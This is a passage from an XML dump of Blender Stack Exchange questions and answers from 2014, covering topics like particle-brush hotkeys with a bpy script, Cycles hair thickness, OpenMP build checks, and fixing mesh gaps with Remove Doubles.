the hotkey to work in the 3D view when in particle edit mode), press &lt;em&gt;Add New&lt;/em&gt; at the bottom of the &lt;em&gt;Particle&lt;/em&gt; section.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Collapse the new shortcut labeled &amp;quot;none&amp;quot;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter the &lt;code&gt;bl_idname&lt;/code&gt; into the box.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the button and press the key(s) on the keyboard you want to set as the shortcut to set the brush type.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hsyC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;One way to keep the operator registered so that you don't need to keep running things in the text editor every time you start blender is by including your operator text datablock in the default .blend and enabling  &lt;em&gt;Register&lt;/em&gt; in the header (see &lt;a href=&quot;https://blender.stackexchange.com/a/3316/599&quot;&gt;my answer here&lt;/a&gt; for more detailed instructions):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZvISV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that your text datablock must have a &lt;code&gt;.py&lt;/code&gt; extension.&lt;/p&gt;&#xA;&lt;p&gt;Aside from that, you might just want to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_4/info_tutorial_addon.html?highlight=operator#keymap&quot; rel=&quot;nofollow noreferrer&quot;&gt;make a complete addon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-04T07:42:17.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9111" PostTypeId="1" AcceptedAnswerId="9112" CreationDate="2014-05-04T08:18:32.727" Score="4" ViewCount="4291" Body="&lt;p&gt;I am using a hair/particle system but all of the hairs look like spikes not hair:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/df8lG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set it so they all have a consistent thickness and how can I adjust the thickness?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="2217" LastEditDate="2014-05-04T23:58:26.477" LastActivityDate="2019-03-27T20:35:35.640" Title="Why is blenders hair system making spikes?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9112" PostTypeId="2" ParentId="9111" CreationDate="2014-05-04T08:26:23.310" Score="1" Body="&lt;p&gt;The setting for hair particles in cycles are in &lt;em&gt;Particles &gt; Cycles Hair Rendering&lt;/em&gt; and &lt;em&gt;Particles &gt; Cycles Hair Settings&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the hairs a constant thickness, set the root and tip thickness settings to the same value and disable &lt;em&gt;Close Tip&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtER6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a cylinder-like result, you will also have to disable &lt;em&gt;Particles &gt; Cycles Hair Rendering &gt; Cull Back-faces&lt;/em&gt; so the backs of faces are not hidden:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xWXsf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/settings/scene/render/geometry.html#cycles-settings-scene-render-geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the manual for more information&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-03-27T20:35:35.640" LastActivityDate="2019-03-27T20:35:35.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="9113" PostTypeId="1" CreationDate="2014-05-04T08:38:44.887" Score="2" ViewCount="40" Body="&lt;p&gt;I want some properties, like the Factor value in a Mix Shader node, be controlled by whether Blender is currently rendering or not - so that some things would look different in the Preview and in Render. Is it possible to do that? Maybe via scripted expression driver?&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2014-05-04T08:38:44.887" Title="A property that is different during rendering and during preview" Tags="&lt;properties&gt;&lt;drivers&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="1" CreationDate="2014-05-04T10:08:25.097" Score="3" ViewCount="955" Body="&lt;p&gt;Is it possible to check if Blender was compiled with OpenMP? How? The installed package is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.70+git201404250132.3b75d6c-0irie1~trusty1&lt;/p&gt;&#xA;" OwnerUserId="3258" LastActivityDate="2014-05-05T03:07:37.213" Title="Check if blender was compiled with openmp" Tags="&lt;versions&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostTypeId="2" ParentId="9109" CreationDate="2014-05-04T11:57:32.530" Score="7" Body="&lt;p&gt;I expanded gandalf3's example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;items = [&#xA;    (&quot;NONE&quot;  , &quot;None&quot;  , &quot;Don’t use any brush&quot;         , 0),&#xA;    (&quot;COMB&quot;  , &quot;Comb&quot;  , &quot;Comb hairs&quot;                  , 1),&#xA;    (&quot;SMOOTH&quot;, &quot;Smooth&quot;, &quot;Smooth hairs&quot;                , 2),&#xA;    (&quot;ADD&quot;   , &quot;Add&quot;   , &quot;Add hairs&quot;                   , 3),&#xA;    (&quot;LENGTH&quot;, &quot;Length&quot;, &quot;Make hairs longer or shorter&quot;, 4),&#xA;    (&quot;PUFF&quot;  , &quot;Puff&quot;  , &quot;Make hairs stand up&quot;         , 5),&#xA;    (&quot;CUT&quot;   , &quot;Cut&quot;   , &quot;Cut hairs&quot;                   , 6),&#xA;    (&quot;WEIGHT&quot;, &quot;Weight&quot;, &quot;Weight hair particles&quot;       , 7)&#xA;    ]&#xA;&#xA;&#xA;class PARTICLE_OT_select_brush(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Select a particle brush&quot;&quot;&quot;&#xA;    bl_idname = &quot;particle.select_brush&quot;&#xA;    bl_label  = &quot;Particle Select Brush&quot;&#xA;&#xA;    brush = bpy.props.EnumProperty(&#xA;                name = &quot;brush&quot;,&#xA;                default = &quot;NONE&quot;,&#xA;                items = items&#xA;                )&#xA;&#xA;    def execute(self, context):&#xA;        context.scene.tool_settings.particle_edit.tool = self.brush&#xA;        for region in context.area.regions:&#xA;            if region.type == &quot;TOOLS&quot;:&#xA;                region.tag_redraw()&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class VIEW3D_MT_particle_edit_select_brush(bpy.types.Menu):&#xA;    bl_label = &quot;Particle Select Brush&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator_context = &quot;INVOKE_REGION_WIN&quot;&#xA;&#xA;        for item in items:&#xA;            layout.operator(&#xA;                operator = &quot;particle.select_brush&quot;,&#xA;                text = item[1],&#xA;                ).brush = item[0]&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(PARTICLE_OT_select_brush)&#xA;    bpy.utils.register_class(VIEW3D_MT_particle_edit_select_brush)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(VIEW3D_MT_particle_edit_select_brush)&#xA;    bpy.utils.unregister_class(PARTICLE_OT_select_brush)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    #register keys via script&#xA;    #might be better done via user preferences&#xA;    #see image below&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs['Blender User'].keymaps['Particle']&#xA;&#xA;    keys = (&quot;ONE&quot;,&quot;TWO&quot;,&quot;THREE&quot;,&quot;FOUR&quot;,&quot;FIVE&quot;,&quot;SIX&quot;,&quot;SEVEN&quot;,&quot;EIGHT&quot;)&#xA;    for item, key in zip(items, keys):&#xA;        kmi = km.keymap_items.new(&#xA;            idname = &quot;particle.select_brush&quot;,&#xA;            type = key,&#xA;            value = &quot;PRESS&quot;,&#xA;            )           &#xA;        kmi.properties.brush = item[0]&#xA;&#xA;    kmi = km.keymap_items.new(&#xA;        idname = &quot;wm.call_menu&quot;,&#xA;        type = &quot;TAB&quot;,&#xA;        value = &quot;PRESS&quot;,&#xA;        ctrl = True&#xA;        )&#xA;    kmi.properties.name = &quot;VIEW3D_MT_particle_edit_select_brush&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBbYx.png&quot; alt=&quot;user preferences&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bind keys to call a menu or directly choose a specific brush.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-22T20:11:54.127" LastActivityDate="2015-07-22T20:11:54.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9117" PostTypeId="2" ParentId="6037" CreationDate="2014-05-04T15:05:53.390" Score="3" Body="&lt;p&gt;If you only want to measure simlpe edges I would use the &lt;strong&gt;Mesh Display&lt;/strong&gt; Tools in the Propertys Panel of 3D View.(Press N to diplay)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First switch to edit mode. Then activate Edge Info&gt;Length:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1uGQ0.jpg&quot; alt=&quot;Mesh Diplay | Edge Length&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it displays the the length of the selected edge or what else you want in the 3D View.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-05-04T15:44:10.413" LastActivityDate="2014-05-04T15:44:10.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9118" PostTypeId="1" AcceptedAnswerId="9120" CreationDate="2014-05-04T16:14:49.350" Score="1" ViewCount="1014" Body="&lt;p&gt;I want to create blender add-on using QT framework, but couldn't find any information about how install it in Blender.&#xA;I would be grateful for any information!&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="3371" LastEditDate="2014-05-04T16:27:06.230" LastActivityDate="2014-05-04T16:42:15.157" Title="How install PySide/PyQt in Blender?" Tags="&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9119" PostTypeId="2" ParentId="8910" CreationDate="2014-05-04T16:29:28.390" Score="1" Body="&lt;p&gt;Did you try the latest version? There's one called &lt;code&gt;objc_blend_2.62&lt;/code&gt;, which does not contain &lt;code&gt;.faces&lt;/code&gt; anywhere in the code - so seems to be compatible with 2.63+ (and funnily not with 2.62!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://github.com/jlamarche/iOS-OpenGLES-Stuff/tree/master/Blender%20Export/objc_blend_2.62&quot; rel=&quot;nofollow&quot;&gt;objc_blend_2.62 @ Github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-04T16:29:28.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9120" PostTypeId="2" ParentId="9118" CreationDate="2014-05-04T16:42:15.157" Score="1" Body="&lt;p&gt;Either unpack the PySide/PyQt folder(s) to Blender's &lt;code&gt;site-packages&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\Blender\2.xx\python\lib\site-packages\&amp;gt;&amp;gt;HERE&amp;lt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then be able to &lt;code&gt;import&lt;/code&gt; them normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or install them to add them to your system's python installation and use &lt;code&gt;sys.path.append()&lt;/code&gt; in your script to add the required folders to Blender's module search path temporarily and &lt;code&gt;import&lt;/code&gt; as usual.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-04T16:42:15.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="2" ParentId="9114" CreationDate="2014-05-04T18:45:29.830" Score="6" Body="&lt;p&gt;In the &lt;strong&gt;Info Editor&lt;/strong&gt; go to &lt;strong&gt;Help&lt;/strong&gt; and choose &lt;strong&gt;System Info&lt;/strong&gt;. Open the internal text editor and select the created file: system-info.txt. Under build flags look for -fopenmp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOdAw.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JpBUn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the build flags depend on your system. For gcc -fopenmp is needed to compile with openmp support.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-05-04T18:51:14.827" LastActivityDate="2014-05-04T18:51:14.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="1" AcceptedAnswerId="9123" CreationDate="2014-05-04T18:46:52.273" Score="15" ViewCount="7815" Body="&lt;p&gt;When I use &quot;Movie Clip&quot; node in Blender 2.7, it always starts at Scene Frame 1. How can I change it in order to make it start at Frame 6, for instance? The movie clip I am using is a Movie FX for another video, and I want to use it with the Mix node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3372" LastActivityDate="2017-02-08T01:15:24.257" Title="How can I make a &quot;Movie Clip&quot; node start at a certain frame of the scene?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;keyframes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9123" PostTypeId="2" ParentId="9122" CreationDate="2014-05-04T19:03:22.720" Score="16" Body="&lt;p&gt;Replace the &quot;movie clip&quot; node for an &quot;Input Image&quot; node and use &lt;strong&gt;Movie&lt;/strong&gt; as source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Frames&lt;/strong&gt; will give you control on the source's duration (in frames): How many frames do you want to use? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Start Frame&lt;/strong&gt; is the frame in the scene at which the video clip will start playing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Offset&lt;/strong&gt; allows you to select the first frame of the video source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9ZDCV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ZDCV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cyclic&lt;/strong&gt; Will make the cycle of frames start over, if the number of frames is different that those on the scene or if you are using any offset. If you want to hold a frame, before or after the specified number of frames or freeze a frame you would need to disable this box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Auto Refresh&lt;/strong&gt; if disabled you will not see the sequence of images change.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2017-02-07T05:13:50.633" LastActivityDate="2017-02-07T05:13:50.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostTypeId="1" CreationDate="2014-05-04T19:46:42.163" Score="1" ViewCount="3047" Body="&lt;p&gt;I'm quite a beginner, and I was following a tutorial to learn how to use dynamic sculpting when, all of the sudden, it stopped working (I tested with the snake hook tool thingy, and it isn't incrementing more mesh.). The last thing I remember doing that was different was using the simplify tool to remove artifacts of me being a noob at this. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any kind of action that after being done doesn't allow going back to dynamic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a quick search and found nothing; sorry if this is asked a lot. :/&lt;/p&gt;&#xA;" OwnerUserId="3373" LastEditorUserId="1253" LastEditDate="2014-05-05T02:14:03.130" LastActivityDate="2014-05-05T02:14:03.130" Title="Dynamic sculpting doesn't work" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9125" PostTypeId="1" CreationDate="2014-05-05T01:31:25.070" Score="5" ViewCount="1058" Body="&lt;p&gt;Following these two tutorials, I can't figure out where is the character option in blender 2.7:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=jxaHT_AFt_w&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=jxaHT_AFt_w&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=187knmhldR4&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=187knmhldR4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3374" LastActivityDate="2014-05-05T01:53:34.757" Title="Where is the character in physics option of blender 2.7?" Tags="&lt;game-engine&gt;&lt;interface&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostTypeId="2" ParentId="9125" CreationDate="2014-05-05T01:53:34.757" Score="5" Body="&lt;p&gt;First, make sure the current render engine is set to &lt;em&gt;Blender Game&lt;/em&gt;. If you then switch to the &lt;em&gt;Physics&lt;/em&gt; tab you will find the option under &lt;em&gt;Physics Type&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4fVmh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-05-05T01:53:34.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9127" PostTypeId="1" CreationDate="2014-05-05T02:36:34.223" Score="2" ViewCount="2938" Body="&lt;p&gt;As I attempt to complete a &quot;Walk cycle&quot; with my model, the mesh at the pants line separates from the skin as the model moves or as I rotate the controls. This happens in many places on my model and it reveals the model interior. It is a one piece mesh, though, so I don't understand why this happens. Is this caused by weight painting problems? How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="2173" LastEditDate="2014-05-05T05:14:28.190" LastActivityDate="2014-05-05T15:13:02.703" Title="Why do gaps appear in my mesh when I animate it?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="2" ParentId="9114" CreationDate="2014-05-05T03:07:37.213" Score="6" Body="&lt;p&gt;Probably the easiest way is to use the Python console and enter &lt;code&gt;getattr(bpy.app.build_options, 'openmp')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hiX0T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-05T03:07:37.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9130" PostTypeId="2" ParentId="9127" CreationDate="2014-05-05T05:09:30.650" Score="5" Body="&lt;h2&gt;Unjoined Vertices&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem of parts separating from each other during animation is not due to weighting, but rather to the fact that although the mesh looks like it is all joined together, many of the vertices are &lt;em&gt;not&lt;/em&gt; in fact joined together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in this mesh, the three planes are considered by Blender to be one object, just like all the parts of your figure are considered one mesh, and they &lt;strong&gt;look&lt;/strong&gt; like they are all joined into one piece. However, when you move some of the vertices in Edit mode, you find that some of the vertices of one plane are in the same spot as vertices of another plane, but they are not actually joined/merged into one vertex: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOWh9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you have several places where two vertices are in exactly the same spot, but are separate from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, there is a tool called &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics/Deleting#Remove_Doubles&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Remove Doubles&lt;/strong&gt;&lt;/a&gt;, which merges vertices within a certain very small distance of each other, usually almost right on top of each other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access &lt;em&gt;Remove Doubles&lt;/em&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics/Deleting#Remove_Doubles&quot; rel=&quot;nofollow noreferrer&quot;&gt;many different ways&lt;/a&gt;, but all must be done in Edit mode and will effect only vertices that are selected. So, for your model, I would suggest: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select your figure → &lt;kbd&gt;TAB&lt;/kbd&gt; → select All (&lt;kbd&gt;A&lt;/kbd&gt;) → &lt;kbd&gt;W&lt;/kbd&gt; → &lt;em&gt;Remove Doubles&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you do this, Blender will tell you how many vertices were merged/joined together up in the top right corner of the &lt;em&gt;Info&lt;/em&gt; header bar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MIFEj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your model, there were 878 pairs of vertices that were merged, thus effectively &quot;removing&quot; one vertex from each pair when the two were merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this joins shut &lt;strong&gt;many&lt;/strong&gt; holes in your figure so they will not come apart when you animate. However, there still are places where the vertices were too far apart for &lt;em&gt;Remove Doubles&lt;/em&gt; to merge them, so you have to merge them by hand using AutoMerge Editing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;AutoMerge Editing with Snap To&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics/Deleting&quot; rel=&quot;nofollow noreferrer&quot;&gt;AutoMerge Editing&lt;/a&gt; is an option you can toggle on and off via the AutoMerge button on this 3D View header while in Edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6Jvf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When enabled, as soon as a vertex is moved close enough to another one, they are automatically merged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order make it easy to get the vertices to move together more easily, enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Snap To Vertex&lt;/em&gt;&lt;/a&gt; in the 3D View header while in Edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoXZS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will cause any vertex you grab and move to snap to nearby vertices, and with the AutoMerge enabled, they will merge and close one more hole in your figure.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Select Non-Manifold Vertices&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, one of the last remaining problems is locating all the holes in your figure so that you can close them. To do this, while in Edit mode use &lt;em&gt;Select Non-Manifold Vertices&lt;/em&gt; via &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;. This will select all the vertices that are part of a hole in your mesh, which you can then start to grab and automerge together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zoG9a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've merged some, use &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; again to find more needing to be merged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing to note is that on your figure's hair, each vertex along the  edge is considered non-manifold and so will be highlighted, but this is &lt;strong&gt;not&lt;/strong&gt; a problem, since the hair is just a flat surface, rather than a volume. 2D flat surfaces (planes) are considered non-manifold, so all edge vertices on a flat 2D surface, like your figure's hair, will always be highlighted when you select non-manifold geometry. Thankfully, though, that's not a problem for your animation.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tips to Avoid Gaps in Meshes When Modeling&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you are creating a model and you are trying to avoid having gaps in your mesh, here are two tips to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;AutoMerge&lt;/em&gt; before you begin editing. This will reduce the need for &lt;em&gt;Remove Doubles&lt;/em&gt; later on&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;em&gt;Snap To Vertices&lt;/em&gt; to make sure your vertices merge easily&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-05T15:13:02.703" LastActivityDate="2014-05-05T15:13:02.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="2" ParentId="9122" CreationDate="2014-05-05T08:28:44.880" Score="2" Body="&lt;p&gt;If you have problems with the image node, you can change the offset of a Movie Clip in the MCE (Movie Clip Editor), also known as the Tracker. Go to the movie clip's properties and change the start frame and offset there. Remember though, you can only have one instance of that movie clip per scene, so you can only change the offset once.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-05-05T08:28:44.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9133" PostTypeId="1" AcceptedAnswerId="9134" CreationDate="2014-05-05T08:49:43.830" Score="3" ViewCount="2515" Body="&lt;p&gt;I added a mirror modifier along the X axis. Then I added some vertices on the mirrored axis. I tried to extrude a vertex along the X axis, but it didn't work. I am able to extrude along the other axes, but not along the X axis. How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="1253" LastEditDate="2014-05-05T23:27:13.327" LastActivityDate="2014-05-05T23:27:13.327" Title="Extrude along mirror line" Tags="&lt;mirror&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostTypeId="2" ParentId="9133" CreationDate="2014-05-05T10:21:41.453" Score="5" Body="&lt;p&gt;When clipping is enabled, any geometry exactly along the mirror axis will not be allowed to move. If you disable it, then you can extrude and move center vertices.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-05T10:21:41.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9135" PostTypeId="1" CreationDate="2014-05-05T14:51:55.337" Score="2" ViewCount="338" Body="&lt;p&gt;The top has been pinned and cannot move. From where does this shelf at the top of the skirt come from? I guess there is some form of repulsive force. How can I reduce it? Repel is set to 0. The shell remains throughout the entire animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the effect remains even if I increase the mass to 10. The skirt does not fall over, so down is down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGo88.png&quot; alt=&quot;Initial condition&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jpBDq.png&quot; alt=&quot;First rendered frame&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="836" LastEditDate="2014-05-05T16:45:11.243" LastActivityDate="2014-06-05T20:10:51.250" Title="Cloth animation weird shelf" Tags="&lt;mesh&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
